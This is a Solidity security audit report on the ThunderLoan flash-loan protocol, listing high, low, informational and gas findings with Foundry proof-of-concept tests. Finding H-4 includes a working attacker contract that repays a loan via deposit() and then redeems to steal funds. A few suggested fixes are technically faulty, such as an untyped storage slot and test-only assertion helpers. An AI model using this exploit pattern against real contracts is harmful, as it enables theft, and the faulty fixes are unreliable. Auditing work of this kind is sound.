ThunderLoan Audit Report

Version 1.0

Sagar Rana

June 28, 2025

ThunderLoan Audit Report

Sagar Rana

June 28, 2025

Prepared by: Sagar Rana Lead Auditors: - Sagar Rana

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings

Protocol Summary

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans. Users additionally have to pay a small fee to the protocoldepending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Disclaimer

Sagar Rana makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
./src/
#-- interfaces
|  #-- IFlashLoanReceiver.sol
|  #-- IPoolFactory.sol
|  #-- ITSwapPool.sol
|  #-- IThunderLoan.sol
#-- protocol
|  #-- AssetToken.sol
|  #-- OracleUpgradeable.sol
|  #-- ThunderLoan.sol
#-- upgradedProtocol
|   #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	No. of issues
High	4
Medium	0
Low	3
Informational	4
Gas	3
Total	14

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate()` in the `update()` causes protocol to think it has more fees than it does, which blocks redemptions and incorrectly sets exchange rate

Description: In the thunderloan system the `exchangerate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way its responsible for keeping track of how many fees to give to liquidity provider. However, the `deposit` function updates this rate without collecting any fees.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
          ) / exchangeRate;
5     emit Deposit(msg.sender, token, amount);
6     assetToken.mint(msg.sender, mintAmount);
```

```
7  @>  uint256 calculatedFee = getCalculatedFee(token, amount);
8  @>  assetToken.updateExchangeRate(calculatedFee);
9      token.safeTransferFrom(msg.sender, address(assetToken), amount);
10 }
```

Impact: 1. The `redeem` function is blocked because the protocol thinks the owed tokens is more than it has 2. rewards are incorrectly calculated

Proof of Concept:

1. LP deposits
2. user takes out flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1  function test_redeemAfterLoan() public setAllowedToken hasDeposits{
2      uint256 amountToBorrow = AMOUNT * 10;
3      vm.startPrank(user);
4      tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
5      thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
           amountToBorrow, "");
6      vm.stopPrank();
7
8      uint256 amountToRedeem = type(uint256).max;
9      vm.startPrank(liquidityProvider);
10     thunderLoan.redeem(tokenA, amountToRedeem);
11 }
```

Recommended Mitigation: Remove the incorrectly updated exchange fee rate lines from `deposit`

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7  -   uint256 calculatedFee = getCalculatedFee(token, amount);
8  -   assetToken.updateExchangeRate(calculatedFee);
9      token.safeTransferFrom(msg.sender, address(assetToken), amount);
10 }
```

[H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
1 uint256 private s_feePrecision;
2 uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1 uint256 private s_flashLoanFee; // 0.3% ETH fee
2 uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. The positions of storage variables cannot be adjusted, and removing storage variables for constant variables breaks the storage locations as well

Impact: After the upgrade, the value of `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged with wrong_fee. More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong slot.

Proof of Concept:

1. Get the value of `s_flashLoanfee` before the upgrade
2. Upgrade the contract
3. Get the new value of fee
4. Compare the two values

PoC

Place the following into `ThunderLoanTest.t.sol`

```
1  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5  function test_upgradeBreaksStorageSlots() public {
6      uint256 feeBeforeUpgrade = thunderLoan.getFee();
7      vm.startPrank(thunderLoan.owner());
8      ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9      thunderLoan.upgradeToAndCall(address(upgraded), "");
10     uint256 feeAfterUpgrade = thunderLoan.getFee();
11     vm.stopPrank();
12
13     assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
14
```

```
15      console2.log("Fee before:", feeBeforeUpgrade);
16      console2.log("Fee after:", feeAfterUpgrade);
17  }
```

The storage layout differences can also be viewed by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: if you must remove the storage variables, leave it as blank as to not mess up the storage slots.

```
1  -   uint256 private s_flashLoanFee; // 0.3% ETH fee
2  -   uint256 public constant FEE_PRECISION = 1e18;
3  +   private s_blank;
4  +   uint256 private s_flashLoanFee; // 0.3% ETH fee
5  +   uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Fetching of price for fees is in USDC but contract charges fees in WETH hence fee calculation is wrong

Description: The contract uses the following logic for fee calculation:

```
1  function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
2      //slither-disable-next-line divide-before-multiply
3      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
           token))) / s_feePrecision;
4      //slither-disable-next-line divide-before-multiply
5      fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
6  }
```

Impact: We are collecting fees in WETH token but this function is fetching the price in USDC

Proof of Concept: 1. User takes out loan 2. fees is calculated through the TSwap contract 3. TSwap provides price in USDC against amount of WETH 4. Fees price is in USDC but contract collects fees in WETH tokens

Recommended Mitigation: Usage of oracle is not required and a custom function for fee calculation should be written

[H-4] No checks for lent amount against address causes user to be able to repay loan using deposit and later redeem

Description: There are no checks to snure that the user who has been given a loan pays back funds using the appropriate function `repay()` in `ThunderLoan`

Impact: user can take out flash loan, deposit the same loan using `deposit()` function and contract will consider the debt paid. Then, user can freely take out the deposited amount thus stealing funds

Proof of Concept: Place the folllowing test in the test suite:

```
function test_UseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
     vm.startPrank(user);
     DepositAttacker da = new DepositAttacker(address(thunderLoan));
     uint256 amountToBorrow = 50e18;
     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
     tokenA.mint(address(da), fee);
     thunderLoan.flashloan(address(da), tokenA, amountToBorrow, "");
     da.redeemMoney();
     vm.stopPrank();
     assert(tokenA.balanceOf(address(da)) > 50e18 + fee);
}
.
.
.
contract DepositAttacker is IFlashLoanReceiver {
     ThunderLoan tloan;
     AssetToken at;
     IERC20 s_token;

     constructor(address _thunderLoan) {
          tloan = ThunderLoan(_thunderLoan);
     }

     function executeOperation(address token, uint256 amount, uint256
         fee, address initiator, bytes calldata params) external returns
         (bool) {
          s_token = IERC20(token);
          at = tloan.getAssetFromToken(IERC20(token));
          IERC20(token).approve(address(tloan), amount + fee);
          tloan.deposit(IERC20(token), amount + fee);
          return true;
     }

     function redeemMoney() public {
          uint256 amount = at.balanceOf(address(this));
          tloan.redeem(s_token, amount);
     }
}
```

Recommended Mitigation: 1. Place checks against user address for lent amount and change it only when paid using `repay()` function

Low

[L-1] `IThunderLoan` interface never used in `ThunderLoan` contract and has caused wrong function signature for `repay`

Description: The interface for IThunderLoan has been defined in `IThunderLoan.sol` as:

```
interface IThunderLoan {
    function repay(address token, uint256 amount) external;
}
```

But this interface has never been used in the contract

Impact: The `repay` function in actual contract code and interface are different. This may cause errors failed transactions during function call due to unexpected function signature call.

Proof of Concept: Interface defined:

```
interface IThunderLoan {
    function repay(address token, uint256 amount) external;
}
```

Actual function signature:

```
function repay(IERC20 token, uint256 amount) public {
```

Recommended Mitigation:

```
+   import { IThunderLoan } from "../interfaces/IThunderLoan.sol";
    .
    .
    .
-   contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
+   contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable, IThunderLoan {
    .
    .
    .
-   function repay(IERC20 token, uint256 amount) public {
+   function repay(address token, uint256 amount) external {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[L-2] Lack of checks for `totalSupply()` variable zero inequality in `AssetToken::updateExchangeRate()` can cause abnormal behaviour

Description: `updateExchangerate()` function uses the `totalSupply()` value from ERC20's contract. When there is no token in circulation this function will return zero, however the function is not checking for that case.

Impact: When `totalSuppply()` returns 0, we are performing a division by 0 here:

```
1 @>  uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
      totalSupply();
```

Proof of Concept: 1. No tokens in circulation 2. `totalSupply()` = 0 3. We are essentially doing the following operation:

```
1     uint256 newExchangeRate = s_exchangeRate * (fee) / 0;
```

Recommended Mitigation: Add a check to ensure that the total supply is more than 0

```
1 +   assertGt(totalSupply(), 0);
2     uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
          totalSupply();
```

[L-3] Lack of zero address checks in `OracleUpgradeable` may set the address of pool factory to 0

Description: No address checks in `__Oracle_init()` and `__Oracle_init_unchained()` to check for 0 address

Impact: Address of pool factory may be set to zero address

Recommended Mitigation: Add checks to ensure address isn't 0

```
1  function __Oracle_init(address poolFactoryAddress) internal
       onlyInitializing {
2  +   assertNotEq(address(0), poolFactoryAddress);
3      __Oracle_init_unchained(poolFactoryAddress);
4  }
5
6  function __Oracle_init_unchained(address poolFactoryAddress) internal
       onlyInitializing {
7  +   assertNotEq(address(0), poolFactoryAddress);
8      s_poolFactory = poolFactoryAddress;
9  }
```

Informational

[I-1] Natspec missing for `IFlashLoanReceiver` interface

Description: The interface is defined as:

```
function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address initiator,
    bytes calldata params
)
    external
    returns (bool);
```

But there's no natspec provided thus making the arguments and function difficult to understand

Recommended Mitigation: Add a natspec and function doccumentation through comments above the function signature

[I-2] Natspec missing for `ThunderLoan::deposit()` function

Description: The function is defined as:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

But there's no natspec provided thus making the arguments and function difficult to understand

Recommended Mitigation: Add a natspec and function doccumentation through comments above the function signature

[I-3] Natspec missing for `ThunderLoan::flashloan()` function

Description: The function is defined as:

```
function flashloan(
    address receiverAddress,
    IERC20 token,
    uint256 amount,
    bytes calldata params
)
    external
    revertIfZero(amount)
    revertIfNotAllowedToken(token)
{
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 startingBalance = IERC20(token).balanceOf(address(
        assetToken));
```

But there's no natspec provided thus making the arguments and function difficult to understand

Recommended Mitigation: Add a natspec and function doccumentation through comments above the function signature

[I-4] Natspec missing for `ThunderLoan::repay()` function

Description: The function is defined as:

```
function repay(IERC20 token, uint256 amount) public {
    if (!s_currentlyFlashLoaning[token]) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

But there's no natspec provided thus making the arguments and function difficult to understand

Recommended Mitigation: Add a natspec and function doccumentation through comments above the function signature

Gas

[G-1] Too many storage variable reads in `AssetToken::updateExchangeRate()` causes more gas fees consumption

Description: `updateExchangeRate()` function reads from storage variables too many times and can be optimized

Recommended Mitigation: Use a memory variable to reduce storage variable reads

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
+   uint256 oldExchangeRate = s_exchangeRate;
-   uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
+   uint256 newExchangeRate = oldExchangeRate * (totalSupply() + fee) / totalSupply();

-   if (newExchangeRate <= s_exchangeRate) {
+   if (newExchangeRate <= oldExchangeRate) {
-       revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
+       revert AssetToken__ExhangeRateCanOnlyIncrease(oldExchangeRate, newExchangeRate);
    }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

[G-2] Unused error in `ThunderLoan`

Recommended Mitigation:

```
-    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[G-3] Function not being used internally is declared as public, causing more gas fees while calling

Description: The function is defined as:

```
function repay(IERC20 token, uint256 amount) public {
    if (!s_currentlyFlashLoaning[token]) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Recommended Mitigation: Make the function external

```
-   function repay(IERC20 token, uint256 amount) public {
+   function repay(IERC20 token, uint256 amount) external {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```